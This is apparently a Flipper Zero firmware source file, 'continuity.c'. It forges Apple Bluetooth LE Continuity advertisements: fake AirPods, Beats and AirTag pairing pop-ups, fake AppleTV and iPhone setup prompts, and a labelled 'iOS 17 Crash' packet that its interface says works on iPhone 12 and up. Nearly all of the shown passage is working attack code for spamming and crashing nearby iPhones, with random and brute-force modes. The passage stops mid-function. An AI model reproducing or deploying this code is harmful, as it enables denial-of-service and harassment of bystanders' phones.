continuity.c 43 KB

1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162636465666768697071727374757677787980818283848586878889909192939495969798991001011021031041051061071081091101111121131141151161171181191201211221231241251261271281291301311321331341351361371381391401411421431441451461471481491501511521531541551561571581591601611621631641651661671681691701711721731741751761771781791801811821831841851861871881891901911921931941951961971981992002012022032042052062072082092102112122132142152162172182192202212222232242252262272282292302312322332342352362372382392402412422432442452462472482492502512522532542552562572582592602612622632642652662672682692702712722732742752762772782792802812822832842852862872882892902912922932942952962972982993003013023033043053063073083093103113123133143153163173183193203213223233243253263273283293303313323333343353363373383393403413423433443453463473483493503513523533543553563573583593603613623633643653663673683693703713723733743753763773783793803813823833843853863873883893903913923933943953963973983994004014024034044054064074084094104114124134144154164174184194204214224234244254264274284294304314324334344354364374384394404414424434444454464474484494504514524534544554564574584594604614624634644654664674684694704714724734744754764774784794804814824834844854864874884894904914924934944954964974984995005015025035045055065075085095105115125135145155165175185195205215225235245255265275285295305315325335345355365375385395405415425435445455465475485495505515525535545555565575585595605615625635645655665675685695705715725735745755765775785795805815825835845855865875885895905915925935945955965975985996006016026036046056066076086096106116126136146156166176186196206216226236246256266276286296306316326336346356366376386396406416426436446456466476486496506516526536546556566576586596606616626636646656666676686696706716726736746756766776786796806816826836846856866876886896906916926936946956966976986997007017027037047057067077087097107117127137147157167177187197207217227237247257267277287297307317327337347357367377387397407417427437447457467477487497507517527537547557567577587597607617627637647657667677687697707717727737747757767777787797807817827837847857867877887897907917927937947957967977987998008018028038048058068078088098108118128138148158168178188198208218228238248258268278288298308318328338348358368378388398408418428438448458468478488498508518528538548558568578588598608618628638648658668678688698708718728738748758768778788798808818828838848858868878888898908918928938948958968978988999009019029039049059069079089099109119129139149159169179189199209219229239249259269279289299309319329339349359369379389399409419429439449459469479489499509519529539549559569579589599609619629639649659669679689699709719729739749759769779789799809819829839849859869879889899909919929939949959969979989991000100110021003100410051006100710081009101010111012101310141015101610171018101910201021102210231024102510261027102810291030103110321033103410351036103710381039104010411042104310441045104610471048104910501051105210531054105510561057105810591060106110621063106410651066106710681069107010711072107310741075107610771078107910801081108210831084108510861087108810891090109110921093109410951096109710981099110011011102110311041105110611071108110911101111111211131114111511161117111811191120112111221123112411251126112711281129113011311132113311341135113611371138113911401141114211431144114511461147114811491150115111521153115411551156115711581159116011611162116311641165116611671168116911701171117211731174117511761177117811791180118111821183118411851186118711881189119011911192119311941195119611971198119912001201120212031204120512061207120812091210121112121213
  1. #include "continuity.h"
  2. #include "_protocols.h"
  3. // Hacked together by @Willy-JL
  4. // iOS 17 Crash by @ECTO-1A
  5. // Nearby Action IDs and Documentation at https://github.com/furiousMAC/continuity/
  6. // Proximity Pair IDs from https://github.com/ECTO-1A/AppleJuice/
  7. typedef struct {
  8. uint8_t value;
  9. const char* name;
  10. } ContinuityColor;
  11. static const ContinuityColor colors_white[] = {
  12. {0x00, "White"},
  13. };
  14. static const ContinuityColor colors_beats_flex[] = {
  15. {0x00, "White"},
  16. {0x01, "Black"},
  17. };
  18. static const ContinuityColor colors_beats_solo_3[] = {
  19. {0x00, "White"},
  20. {0x01, "Black"},
  21. };
  22. static const ContinuityColor colors_powerbeats_3[] = {
  23. {0x00, "White"},
  24. {0x01, "Black"},
  25. };
  26. static const ContinuityColor colors_powerbeats_pro[] = {
  27. {0x00, "White"},
  28. {0x02, "Yellowish Green"},
  29. {0x03, "Blue"},
  30. {0x04, "Black"},
  31. {0x05, "Pink"},
  32. {0x06, "Red"},
  33. {0x0B, "Gray ?"},
  34. {0x0D, "Sky Blue"},
  35. };
  36. static const ContinuityColor colors_beats_solo_pro[] = {
  37. {0x00, "White"},
  38. {0x01, "Black"},
  39. };
  40. static const ContinuityColor colors_beats_studio_buds[] = {
  41. {0x00, "White"},
  42. {0x01, "Black"},
  43. };
  44. static const ContinuityColor colors_beats_x[] = {
  45. {0x00, "White"},
  46. {0x01, "Black"},
  47. };
  48. static const ContinuityColor colors_beats_studio_3[] = {
  49. {0x00, "White"},
  50. {0x01, "Black"},
  51. {0x02, "Red"},
  52. {0x03, "Blue"},
  53. {0x18, "Shadow Gray"},
  54. {0x19, "Desert Sand"},
  55. {0x25, "Black / Red"},
  56. {0x26, "Midnight Black"},
  57. {0x27, "Desert Sand 2"},
  58. {0x28, "Clear blue/ gold"},
  59. {0x42, "Green Forest camo"},
  60. {0x43, "White Camo"},
  61. };
  62. static const ContinuityColor colors_beats_studio_pro[] = {
  63. {0x00, "White"},
  64. {0x01, "Black"},
  65. };
  66. static const ContinuityColor colors_beats_fit_pro[] = {
  67. {0x00, "White"},
  68. {0x01, "Black"},
  69. };
  70. static const ContinuityColor colors_beats_studio_buds_[] = {
  71. {0x00, "White"},
  72. {0x01, "Black"},
  73. };
  74. static const struct {
  75. uint16_t value;
  76. const char* name;
  77. const ContinuityColor* colors;
  78. const uint8_t colors_count;
  79. } pp_models[] = {
  80. {0x0E20, "AirPods Pro", colors_white, COUNT_OF(colors_white)},
  81. {0x0A20, "AirPods Max", colors_white, COUNT_OF(colors_white)},
  82. {0x0055, "Airtag", colors_white, COUNT_OF(colors_white)},
  83. {0x0030, "Hermes Airtag", colors_white, COUNT_OF(colors_white)},
  84. {0x0220, "AirPods", colors_white, COUNT_OF(colors_white)},
  85. {0x0F20, "AirPods 2nd Gen", colors_white, COUNT_OF(colors_white)},
  86. {0x1320, "AirPods 3rd Gen", colors_white, COUNT_OF(colors_white)},
  87. {0x1420, "AirPods Pro 2nd Gen", colors_white, COUNT_OF(colors_white)},
  88. {0x1020, "Beats Flex", colors_beats_flex, COUNT_OF(colors_beats_flex)},
  89. {0x0620, "Beats Solo 3", colors_beats_solo_3, COUNT_OF(colors_beats_solo_3)},
  90. {0x0320, "Powerbeats 3", colors_powerbeats_3, COUNT_OF(colors_powerbeats_3)},
  91. {0x0B20, "Powerbeats Pro", colors_powerbeats_pro, COUNT_OF(colors_powerbeats_pro)},
  92. {0x0C20, "Beats Solo Pro", colors_beats_solo_pro, COUNT_OF(colors_beats_solo_pro)},
  93. {0x1120, "Beats Studio Buds", colors_beats_studio_buds, COUNT_OF(colors_beats_studio_buds)},
  94. {0x0520, "Beats X", colors_beats_x, COUNT_OF(colors_beats_x)},
  95. {0x0920, "Beats Studio 3", colors_beats_studio_3, COUNT_OF(colors_beats_studio_3)},
  96. {0x1720, "Beats Studio Pro", colors_beats_studio_pro, COUNT_OF(colors_beats_studio_pro)},
  97. {0x1220, "Beats Fit Pro", colors_beats_fit_pro, COUNT_OF(colors_beats_fit_pro)},
  98. {0x1620, "Beats Studio Buds+", colors_beats_studio_buds_, COUNT_OF(colors_beats_studio_buds_)},
  99. };
  100. static const uint8_t pp_models_count = COUNT_OF(pp_models);
  101. static const struct {
  102. uint8_t value;
  103. const char* name;
  104. } pp_prefixes[] = {
  105. {0x07, "New Device"},
  106. {0x01, "Not Your Device"},
  107. {0x05, "New Airtag"},
  108. };
  109. static const uint8_t pp_prefixes_count = COUNT_OF(pp_prefixes);
  110. static const struct {
  111. uint8_t value;
  112. const char* name;
  113. } na_actions[] = {
  114. {0x13, "AppleTV AutoFill"},
  115. {0x27, "AppleTV Connecting..."},
  116. {0x20, "Join This AppleTV?"},
  117. {0x19, "AppleTV Audio Sync"},
  118. {0x1E, "AppleTV Color Balance"},
  119. {0x09, "Setup New iPhone"},
  120. {0x02, "Transfer Phone Number"},
  121. {0x0B, "HomePod Setup"},
  122. {0x01, "Setup New AppleTV"},
  123. {0x06, "Pair AppleTV"},
  124. {0x0D, "HomeKit AppleTV Setup"},
  125. {0x2B, "AppleID for AppleTV?"},
  126. };
  127. static const uint8_t na_actions_count = COUNT_OF(na_actions);
  128. static const char* type_names[ContinuityTypeCOUNT] = {
  129. [ContinuityTypeAirDrop] = "AirDrop",
  130. [ContinuityTypeProximityPair] = "Continuity Pair",
  131. [ContinuityTypeAirplayTarget] = "Airplay Target",
  132. [ContinuityTypeHandoff] = "Handoff",
  133. [ContinuityTypeTetheringSource] = "Tethering Source",
  134. [ContinuityTypeNearbyAction] = "Continuity Action",
  135. [ContinuityTypeNearbyInfo] = "Nearby Info",
  136. [ContinuityTypeCustomCrash] = "Continuity Custom",
  137. };
  138. static const char* get_name(const Payload* payload) {
  139. const ContinuityCfg* cfg = &payload->cfg.continuity;
  140. return type_names[cfg->type];
  141. }
  142. #define HEADER_LEN (6) // 1 Size + 1 AD Type + 2 Company ID + 1 Continuity Type + 1 Continuity Size
  143. static uint8_t packet_sizes[ContinuityTypeCOUNT] = {
  144. [ContinuityTypeAirDrop] = HEADER_LEN + 18,
  145. [ContinuityTypeProximityPair] = HEADER_LEN + 25,
  146. [ContinuityTypeAirplayTarget] = HEADER_LEN + 6,
  147. [ContinuityTypeHandoff] = HEADER_LEN + 14,
  148. [ContinuityTypeTetheringSource] = HEADER_LEN + 6,
  149. [ContinuityTypeNearbyAction] = HEADER_LEN + 5,
  150. [ContinuityTypeNearbyInfo] = HEADER_LEN + 5,
  151. [ContinuityTypeCustomCrash] = HEADER_LEN + 11,
  152. };
  153. static void make_packet(uint8_t* _size, uint8_t** _packet, Payload* payload) {
  154. ContinuityCfg* cfg = payload ? &payload->cfg.continuity : NULL;
  155. ContinuityType type;
  156. if(cfg && cfg->type != 0x00) {
  157. type = cfg->type;
  158. } else {
  159. const ContinuityType types[] = {
  160. ContinuityTypeProximityPair,
  161. ContinuityTypeNearbyAction,
  162. ContinuityTypeCustomCrash,
  163. };
  164. type = types[rand() % COUNT_OF(types)];
  165. }
  166. uint8_t size = packet_sizes[type];
  167. uint8_t* packet = malloc(size);
  168. uint8_t i = 0;
  169. packet[i++] = size - 1; // Size
  170. packet[i++] = 0xFF; // AD Type (Manufacturer Specific)
  171. packet[i++] = 0x4C; // Company ID (Apple, Inc.)
  172. packet[i++] = 0x00; // ...
  173. packet[i++] = type; // Continuity Type
  174. packet[i] = size - i - 1; // Continuity Size
  175. i++;
  176. switch(type) {
  177. case ContinuityTypeAirDrop: {
  178. packet[i++] = 0x00; // Zeros
  179. packet[i++] = 0x00; // ...
  180. packet[i++] = 0x00; // ...
  181. packet[i++] = 0x00; // ...
  182. packet[i++] = 0x00; // ...
  183. packet[i++] = 0x00; // ...
  184. packet[i++] = 0x00; // ...
  185. packet[i++] = 0x00; // ...
  186. packet[i++] = 0x01; // Version
  187. packet[i++] = (rand() % 256); // AppleID
  188. packet[i++] = (rand() % 256); // ...
  189. packet[i++] = (rand() % 256); // Phone Number
  190. packet[i++] = (rand() % 256); // ...
  191. packet[i++] = (rand() % 256); // Email
  192. packet[i++] = (rand() % 256); // ...
  193. packet[i++] = (rand() % 256); // Email2
  194. packet[i++] = (rand() % 256); // ...
  195. packet[i++] = 0x00; // Zero
  196. break;
  197. }
  198. case ContinuityTypeProximityPair: {
  199. uint16_t model;
  200. uint8_t color;
  201. switch(payload ? payload->mode : PayloadModeRandom) {
  202. case PayloadModeRandom:
  203. default: {
  204. uint8_t model_index = rand() % pp_models_count;
  205. uint8_t color_index = rand() % pp_models[model_index].colors_count;
  206. model = pp_models[model_index].value;
  207. color = pp_models[model_index].colors[color_index].value;
  208. break;
  209. }
  210. case PayloadModeValue:
  211. model = cfg->data.proximity_pair.model;
  212. color = cfg->data.proximity_pair.color;
  213. break;
  214. case PayloadModeBruteforce:
  215. switch(cfg->data.proximity_pair.bruteforce_mode) {
  216. case ContinuityPpBruteforceModel:
  217. default:
  218. model = cfg->data.proximity_pair.model = payload->bruteforce.value;
  219. color = cfg->data.proximity_pair.color;
  220. break;
  221. case ContinuityPpBruteforceColor:
  222. model = cfg->data.proximity_pair.model;
  223. color = cfg->data.proximity_pair.color = payload->bruteforce.value;
  224. break;
  225. }
  226. break;
  227. }
  228. uint8_t prefix;
  229. if(cfg && cfg->data.proximity_pair.prefix != 0x00) {
  230. prefix = cfg->data.proximity_pair.prefix;
  231. } else {
  232. if(model == 0x0055 || model == 0x0030)
  233. prefix = 0x05;
  234. else
  235. prefix = 0x01;
  236. }
  237. packet[i++] = prefix; // Prefix (paired 0x01 new 0x07 airtag 0x05)
  238. packet[i++] = (model >> 0x08) & 0xFF; // Device Model
  239. packet[i++] = (model >> 0x00) & 0xFF; // ...
  240. packet[i++] = 0x55; // Status
  241. packet[i++] = ((rand() % 10) << 4) + (rand() % 10); // Buds Battery Level
  242. packet[i++] = ((rand() % 8) << 4) + (rand() % 10); // Charing Status and Battery Case Level
  243. packet[i++] = (rand() % 256); // Lid Open Counter
  244. packet[i++] = color; // Device Color
  245. packet[i++] = 0x00;
  246. furi_hal_random_fill_buf(&packet[i], 16); // Encrypted Payload
  247. i += 16;
  248. break;
  249. }
  250. case ContinuityTypeAirplayTarget: {
  251. packet[i++] = (rand() % 256); // Flags
  252. packet[i++] = (rand() % 256); // Configuration Seed
  253. packet[i++] = (rand() % 256); // IPv4 Address
  254. packet[i++] = (rand() % 256); // ...
  255. packet[i++] = (rand() % 256); // ...
  256. packet[i++] = (rand() % 256); // ...
  257. break;
  258. }
  259. case ContinuityTypeHandoff: {
  260. packet[i++] = 0x01; // Version
  261. packet[i++] = (rand() % 256); // Initialization Vector
  262. packet[i++] = (rand() % 256); // ...
  263. packet[i++] = (rand() % 256); // AES-GCM Auth Tag
  264. packet[i++] = (rand() % 256); // Encrypted Payload
  265. packet[i++] = (rand() % 256); // ...
  266. packet[i++] = (rand() % 256); // ...
  267. packet[i++] = (rand() % 256); // ...
  268. packet[i++] = (rand() % 256); // ...
  269. packet[i++] = (rand() % 256); // ...
  270. packet[i++] = (rand() % 256); // ...
  271. packet[i++] = (rand() % 256); // ...
  272. packet[i++] = (rand() % 256); // ...
  273. packet[i++] = (rand() % 256); // ...
  274. break;
  275. }
  276. case ContinuityTypeTetheringSource: {
  277. packet[i++] = 0x01; // Version
  278. packet[i++] = (rand() % 256); // Flags
  279. packet[i++] = (rand() % 101); // Battery Life
  280. packet[i++] = 0x00; // Cell Service Type
  281. packet[i++] = (rand() % 8); // ...
  282. packet[i++] = (rand() % 5); // Cell Service Strength
  283. break;
  284. }
  285. case ContinuityTypeNearbyAction: {
  286. uint8_t action;
  287. switch(payload ? payload->mode : PayloadModeRandom) {
  288. case PayloadModeRandom:
  289. default:
  290. action = na_actions[rand() % na_actions_count].value;
  291. break;
  292. case PayloadModeValue:
  293. action = cfg->data.nearby_action.action;
  294. break;
  295. case PayloadModeBruteforce:
  296. action = cfg->data.nearby_action.action = payload->bruteforce.value;
  297. break;
  298. }
  299. uint8_t flags;
  300. if(cfg && cfg->data.nearby_action.flags != 0x00) {
  301. flags = cfg->data.nearby_action.flags;
  302. } else {
  303. flags = 0xC0;
  304. if(action == 0x20 && rand() % 2) flags--; // More spam for 'Join This AppleTV?'
  305. if(action == 0x09 && rand() % 2) flags = 0x40; // Glitched 'Setup New Device'
  306. }
  307. packet[i++] = flags; // Action Flags
  308. packet[i++] = action; // Action Type
  309. furi_hal_random_fill_buf(&packet[i], 3); // Authentication Tag
  310. i += 3;
  311. break;
  312. }
  313. case ContinuityTypeNearbyInfo: {
  314. packet[i++] = ((rand() % 16) << 4) + (rand() % 16); // Status Flags and Action Code
  315. packet[i++] = (rand() % 256); // Status Flags
  316. packet[i++] = (rand() % 256); // Authentication Tag
  317. packet[i++] = (rand() % 256); // ...
  318. packet[i++] = (rand() % 256); // ...
  319. break;
  320. }
  321. case ContinuityTypeCustomCrash: {
  322. // Found by @ECTO-1A
  323. uint8_t action = na_actions[rand() % na_actions_count].value;
  324. uint8_t flags = 0xC0;
  325. if(action == 0x20 && rand() % 2) flags--; // More spam for 'Join This AppleTV?'
  326. if(action == 0x09 && rand() % 2) flags = 0x40; // Glitched 'Setup New Device'
  327. i -= 2; // Override segment header
  328. packet[i++] = ContinuityTypeNearbyAction; // Continuity Type
  329. packet[i++] = 5; // Continuity Size
  330. packet[i++] = flags; // Action Flags
  331. packet[i++] = action; // Action Type
  332. furi_hal_random_fill_buf(&packet[i], 3); // Authentication Tag
  333. i += 3;
  334. packet[i++] = 0x00; // Additional Action Data Terminator (?)
  335. packet[i++] = 0x00; // ...
  336. packet[i++] = ContinuityTypeNearbyInfo; // Continuity Type (?)
  337. furi_hal_random_fill_buf(&packet[i], 3); // Continuity Size (?) + Shenanigans (???)
  338. i += 3;
  339. break;
  340. }
  341. default:
  342. break;
  343. }
  344. *_size = size;
  345. *_packet = packet;
  346. }
  347. enum {
  348. _ConfigPpExtraStart = ConfigExtraStart,
  349. ConfigPpModel,
  350. ConfigPpColor,
  351. ConfigPpPrefix,
  352. ConfigPpCOUNT,
  353. };
  354. enum {
  355. _ConfigNaExtraStart = ConfigExtraStart,
  356. ConfigNaAction,
  357. ConfigNaFlags,
  358. ConfigNaCOUNT,
  359. };
  360. enum {
  361. _ConfigCcExtraStart = ConfigExtraStart,
  362. ConfigCcInfoLock,
  363. ConfigCcInfoDevice,
  364. ConfigCcCOUNT,
  365. };
  366. static void config_callback(void* _ctx, uint32_t index) {
  367. Ctx* ctx = _ctx;
  368. Payload* payload = &ctx->attack->payload;
  369. ContinuityCfg* cfg = &payload->cfg.continuity;
  370. scene_manager_set_scene_state(ctx->scene_manager, SceneConfig, index);
  371. switch(cfg->type) {
  372. case ContinuityTypeProximityPair: {
  373. switch(index) {
  374. case ConfigPpModel:
  375. scene_manager_next_scene(ctx->scene_manager, SceneContinuityPpModel);
  376. break;
  377. case ConfigPpColor:
  378. if(payload->mode != PayloadModeRandom)
  379. scene_manager_next_scene(ctx->scene_manager, SceneContinuityPpColor);
  380. break;
  381. case ConfigPpPrefix:
  382. scene_manager_next_scene(ctx->scene_manager, SceneContinuityPpPrefix);
  383. break;
  384. default:
  385. ctx->fallback_config_enter(ctx, index);
  386. break;
  387. }
  388. break;
  389. }
  390. case ContinuityTypeNearbyAction: {
  391. switch(index) {
  392. case ConfigNaAction:
  393. scene_manager_next_scene(ctx->scene_manager, SceneContinuityNaAction);
  394. break;
  395. case ConfigNaFlags:
  396. scene_manager_next_scene(ctx->scene_manager, SceneContinuityNaFlags);
  397. break;
  398. default:
  399. ctx->fallback_config_enter(ctx, index);
  400. break;
  401. }
  402. break;
  403. }
  404. case ContinuityTypeCustomCrash: {
  405. switch(index) {
  406. case ConfigCcInfoLock:
  407. case ConfigCcInfoDevice:
  408. break;
  409. default:
  410. ctx->fallback_config_enter(ctx, index);
  411. break;
  412. }
  413. break;
  414. }
  415. default:
  416. ctx->fallback_config_enter(ctx, index);
  417. break;
  418. }
  419. }
  420. static void pp_model_changed(VariableItem* item) {
  421. Ctx* ctx = variable_item_get_context(item);
  422. Payload* payload = &ctx->attack->payload;
  423. ContinuityCfg* cfg = &payload->cfg.continuity;
  424. uint8_t index = variable_item_get_current_value_index(item);
  425. const char* color_name = NULL;
  426. char color_name_buf[3];
  427. uint8_t colors_count;
  428. uint8_t value_index_color;
  429. if(index) {
  430. index--;
  431. if(payload->mode != PayloadModeBruteforce ||
  432. cfg->data.proximity_pair.bruteforce_mode == ContinuityPpBruteforceModel)
  433. payload->mode = PayloadModeValue;
  434. cfg->data.proximity_pair.model = pp_models[index].value;
  435. variable_item_set_current_value_text(item, pp_models[index].name);
  436. colors_count = pp_models[index].colors_count;
  437. if(payload->mode == PayloadModeValue) {
  438. for(uint8_t j = 0; j < colors_count; j++) {
  439. if(cfg->data.proximity_pair.color == pp_models[index].colors[j].value) {
  440. color_name = pp_models[index].colors[j].name;
  441. value_index_color = j;
  442. break;
  443. }
  444. }
  445. if(!color_name) {
  446. snprintf(
  447. color_name_buf, sizeof(color_name_buf), "%02X", cfg->data.proximity_pair.color);
  448. color_name = color_name_buf;
  449. value_index_color = colors_count;
  450. }
  451. } else {
  452. color_name = "Bruteforce";
  453. value_index_color = colors_count;
  454. }
  455. } else {
  456. payload->mode = PayloadModeRandom;
  457. variable_item_set_current_value_text(item, "Random");
  458. color_name = "Random";
  459. colors_count = 1;
  460. value_index_color = 0;
  461. }
  462. item = variable_item_list_get(ctx->variable_item_list, ConfigPpColor);
  463. variable_item_set_values_count(item, colors_count);
  464. variable_item_set_current_value_index(item, value_index_color);
  465. variable_item_set_current_value_text(item, color_name);
  466. }
  467. static void pp_color_changed(VariableItem* item) {
  468. Payload* payload = variable_item_get_context(item);
  469. ContinuityCfg* cfg = &payload->cfg.continuity;
  470. uint8_t index = variable_item_get_current_value_index(item);
  471. if(payload->mode != PayloadModeBruteforce ||
  472. cfg->data.proximity_pair.bruteforce_mode == ContinuityPpBruteforceColor)
  473. payload->mode = PayloadModeValue;
  474. uint8_t model_index = 0;
  475. for(; model_index < pp_models_count; model_index++) {
  476. if(cfg->data.proximity_pair.model == pp_models[model_index].value) break;
  477. }
  478. cfg->data.proximity_pair.color = pp_models[model_index].colors[index].value;
  479. variable_item_set_current_value_text(item, pp_models[model_index].colors[index].name);
  480. }
  481. static void pp_prefix_changed(VariableItem* item) {
  482. Payload* payload = variable_item_get_context(item);
  483. ContinuityCfg* cfg = &payload->cfg.continuity;
  484. uint8_t index = variable_item_get_current_value_index(item);
  485. if(index) {
  486. index--;
  487. cfg->data.proximity_pair.prefix = pp_prefixes[index].value;
  488. variable_item_set_current_value_text(item, pp_prefixes[index].name);
  489. } else {
  490. cfg->data.proximity_pair.prefix = 0x00;
  491. variable_item_set_current_value_text(item, "Auto");
  492. }
  493. }
  494. static void na_action_changed(VariableItem* item) {
  495. Payload* payload = variable_item_get_context(item);
  496. ContinuityCfg* cfg = &payload->cfg.continuity;
  497. uint8_t index = variable_item_get_current_value_index(item);
  498. if(index) {
  499. index--;
  500. payload->mode = PayloadModeValue;
  501. cfg->data.nearby_action.action = na_actions[index].value;
  502. variable_item_set_current_value_text(item, na_actions[index].name);
  503. } else {
  504. payload->mode = PayloadModeRandom;
  505. variable_item_set_current_value_text(item, "Random");
  506. }
  507. }
  508. static void extra_config(Ctx* ctx) {
  509. Payload* payload = &ctx->attack->payload;
  510. ContinuityCfg* cfg = &payload->cfg.continuity;
  511. VariableItemList* list = ctx->variable_item_list;
  512. VariableItem* item;
  513. uint8_t value_index;
  514. switch(cfg->type) {
  515. case ContinuityTypeProximityPair: {
  516. item =
  517. variable_item_list_add(list, "Model Code", pp_models_count + 1, pp_model_changed, ctx);
  518. const char* model_name = NULL;
  519. char model_name_buf[5];
  520. const char* color_name = NULL;
  521. char color_name_buf[3];
  522. uint8_t colors_count;
  523. uint8_t value_index_color;
  524. switch(payload->mode) {
  525. case PayloadModeRandom:
  526. default:
  527. model_name = "Random";
  528. value_index = 0;
  529. color_name = "Random";
  530. colors_count = 1;
  531. value_index_color = 0;
  532. break;
  533. case PayloadModeValue:
  534. for(uint8_t i = 0; i < pp_models_count; i++) {
  535. if(cfg->data.proximity_pair.model == pp_models[i].value) {
  536. model_name = pp_models[i].name;
  537. value_index = i + 1;
  538. colors_count = pp_models[i].colors_count;
  539. for(uint8_t j = 0; j < colors_count; j++) {
  540. if(cfg->data.proximity_pair.color == pp_models[i].colors[j].value) {
  541. color_name = pp_models[i].colors[j].name;
  542. value_index_color = j;
  543. break;
  544. }
  545. }
  546. break;
  547. }
  548. }
  549. if(!model_name) {
  550. snprintf(
  551. model_name_buf, sizeof(model_name_buf), "%04X", cfg->data.proximity_pair.model);
  552. model_name = model_name_buf;
  553. value_index = pp_models_count + 1;
  554. colors_count = 0;
  555. }
  556. if(!color_name) {
  557. snprintf(
  558. color_name_buf, sizeof(color_name_buf), "%02X", cfg->data.proximity_pair.color);
  559. color_name = color_name_buf;
  560. value_index_color = colors_count;
  561. }
  562. break;
  563. case PayloadModeBruteforce:
  564. switch(cfg->data.proximity_pair.bruteforce_mode) {
  565. case ContinuityPpBruteforceModel:
  566. default:
  567. model_name = "Bruteforce";
  568. value_index = pp_models_count + 1;
  569. snprintf(
  570. color_name_buf, sizeof(color_name_buf), "%02X", cfg->data.proximity_pair.color);
  571. color_name = color_name_buf;
  572. colors_count = 1;
  573. value_index_color = 0;
  574. break;
  575. case ContinuityPpBruteforceColor:
  576. for(uint8_t i = 0; i < pp_models_count; i++) {
  577. if(cfg->data.proximity_pair.model == pp_models[i].value) {
  578. model_name = pp_models[i].name;
  579. value_index = i + 1;
  580. colors_count = pp_models[i].colors_count;
  581. break;
  582. }
  583. }
  584. if(!model_name) {
  585. snprintf(
  586. model_name_buf,
  587. sizeof(model_name_buf),
  588. "%04X",
  589. cfg->data.proximity_pair.model);
  590. model_name = model_name_buf;
  591. value_index = pp_models_count + 1;
  592. colors_count = 0;
  593. }
  594. color_name = "Bruteforce";
  595. value_index_color = colors_count;
  596. break;
  597. }
  598. break;
  599. }
  600. variable_item_set_current_value_index(item, value_index);
  601. variable_item_set_current_value_text(item, model_name);
  602. item =
  603. variable_item_list_add(list, "Device Color", colors_count, pp_color_changed, payload);
  604. variable_item_set_current_value_index(item, value_index_color);
  605. variable_item_set_current_value_text(item, color_name);
  606. item = variable_item_list_add(
  607. list, "Prefix", pp_prefixes_count + 1, pp_prefix_changed, payload);
  608. const char* prefix_name = NULL;
  609. char prefix_name_buf[3];
  610. if(cfg->data.proximity_pair.prefix == 0x00) {
  611. prefix_name = "Auto";
  612. value_index = 0;
  613. } else {
  614. for(uint8_t i = 0; i < pp_prefixes_count; i++) {
  615. if(cfg->data.proximity_pair.prefix == pp_prefixes[i].value) {
  616. prefix_name = pp_prefixes[i].name;
  617. value_index = i + 1;
  618. break;
  619. }
  620. }
  621. if(!prefix_name) {
  622. snprintf(
  623. prefix_name_buf,
  624. sizeof(prefix_name_buf),
  625. "%02X",
  626. cfg->data.proximity_pair.prefix);
  627. prefix_name = prefix_name_buf;
  628. value_index = pp_prefixes_count + 1;
  629. }
  630. }
  631. variable_item_set_current_value_index(item, value_index);
  632. variable_item_set_current_value_text(item, prefix_name);
  633. break;
  634. }
  635. case ContinuityTypeNearbyAction: {
  636. item = variable_item_list_add(
  637. list, "Action Type", na_actions_count + 1, na_action_changed, payload);
  638. const char* action_name = NULL;
  639. char action_name_buf[3];
  640. switch(payload->mode) {
  641. case PayloadModeRandom:
  642. default:
  643. action_name = "Random";
  644. value_index = 0;
  645. break;
  646. case PayloadModeValue:
  647. for(uint8_t i = 0; i < na_actions_count; i++) {
  648. if(cfg->data.nearby_action.action == na_actions[i].value) {
  649. action_name = na_actions[i].name;
  650. value_index = i + 1;
  651. break;
  652. }
  653. }
  654. if(!action_name) {
  655. snprintf(
  656. action_name_buf,
  657. sizeof(action_name_buf),
  658. "%02X",
  659. cfg->data.nearby_action.action);
  660. action_name = action_name_buf;
  661. value_index = na_actions_count + 1;
  662. }
  663. break;
  664. case PayloadModeBruteforce:
  665. action_name = "Bruteforce";
  666. value_index = na_actions_count + 1;
  667. break;
  668. }
  669. variable_item_set_current_value_index(item, value_index);
  670. variable_item_set_current_value_text(item, action_name);
  671. item = variable_item_list_add(list, "Flags", 0, NULL, NULL);
  672. const char* flags_name = NULL;
  673. char flags_name_buf[3];
  674. if(cfg->data.nearby_action.flags == 0x00) {
  675. flags_name = "Auto";
  676. } else {
  677. snprintf(
  678. flags_name_buf, sizeof(flags_name_buf), "%02X", cfg->data.nearby_action.flags);
  679. flags_name = flags_name_buf;
  680. }
  681. variable_item_set_current_value_text(item, flags_name);
  682. break;
  683. }
  684. case ContinuityTypeCustomCrash: {
  685. variable_item_list_add(list, "Lock+unlock helps to crash", 0, NULL, NULL);
  686. variable_item_list_add(list, "Works on iPhone 12 and up", 0, NULL, NULL);
  687. break;
  688. }
  689. default:
  690. break;
  691. }
  692. variable_item_list_set_enter_callback(list, config_callback, ctx);
  693. }
  694. static uint8_t config_counts[ContinuityTypeCOUNT] = {
  695. [ContinuityTypeAirDrop] = 0,
  696. [ContinuityTypeProximityPair] = ConfigPpCOUNT - ConfigExtraStart - 1,
  697. [ContinuityTypeAirplayTarget] = 0,
  698. [ContinuityTypeHandoff] = 0,
  699. [ContinuityTypeTetheringSource] = 0,
  700. [ContinuityTypeNearbyAction] = ConfigNaCOUNT - ConfigExtraStart - 1,
  701. [ContinuityTypeNearbyInfo] = 0,
  702. [ContinuityTypeCustomCrash] = ConfigCcCOUNT - ConfigExtraStart - 1,
  703. };
  704. static uint8_t config_count(const Payload* payload) {
  705. const ContinuityCfg* cfg = &payload->cfg.continuity;
  706. return config_counts[cfg->type];
  707. }
  708. const Protocol protocol_continuity = {
  709. .icon = &I_apple,
  710. .get_name = get_name,
  711. .make_packet = make_packet,
  712. .extra_config = extra_config,
  713. .config_count = config_count,
  714. };
  715. static void pp_model_callback(void* _ctx, uint32_t index) {
  716. Ctx* ctx = _ctx;
  717. Payload* payload = &ctx->attack->payload;
  718. ContinuityCfg* cfg = &payload->cfg.continuity;
  719. switch(index) {
  720. case 0:
  721. payload->mode = PayloadModeRandom;
  722. scene_manager_previous_scene(ctx->scene_manager);
  723. break;
  724. case pp_models_count + 1:
  725. scene_manager_next_scene(ctx->scene_manager, SceneContinuityPpModelCustom);
  726. break;
  727. case pp_models_count + 2:
  728. payload->mode = PayloadModeBruteforce;
  729. payload->bruteforce.counter = 0;
  730. payload->bruteforce.value = cfg->data.proximity_pair.model;
  731. payload->bruteforce.size = 2;
  732. cfg->data.proximity_pair.bruteforce_mode = ContinuityPpBruteforceModel;
  733. scene_manager_previous_scene(ctx->scene_manager);
  734. break;
  735. default:
  736. if(payload->mode != PayloadModeBruteforce ||
  737. cfg->data.proximity_pair.bruteforce_mode == ContinuityPpBruteforceModel)
  738. payload->mode = PayloadModeValue;
  739. cfg->data.proximity_pair.model = pp_models[index - 1].value;
  740. scene_manager_previous_scene(ctx->scene_manager);
  741. break;
  742. }
  743. }
  744. void scene_continuity_pp_model_on_enter(void* _ctx) {
  745. Ctx* ctx = _ctx;
  746. Payload* payload = &ctx->attack->payload;
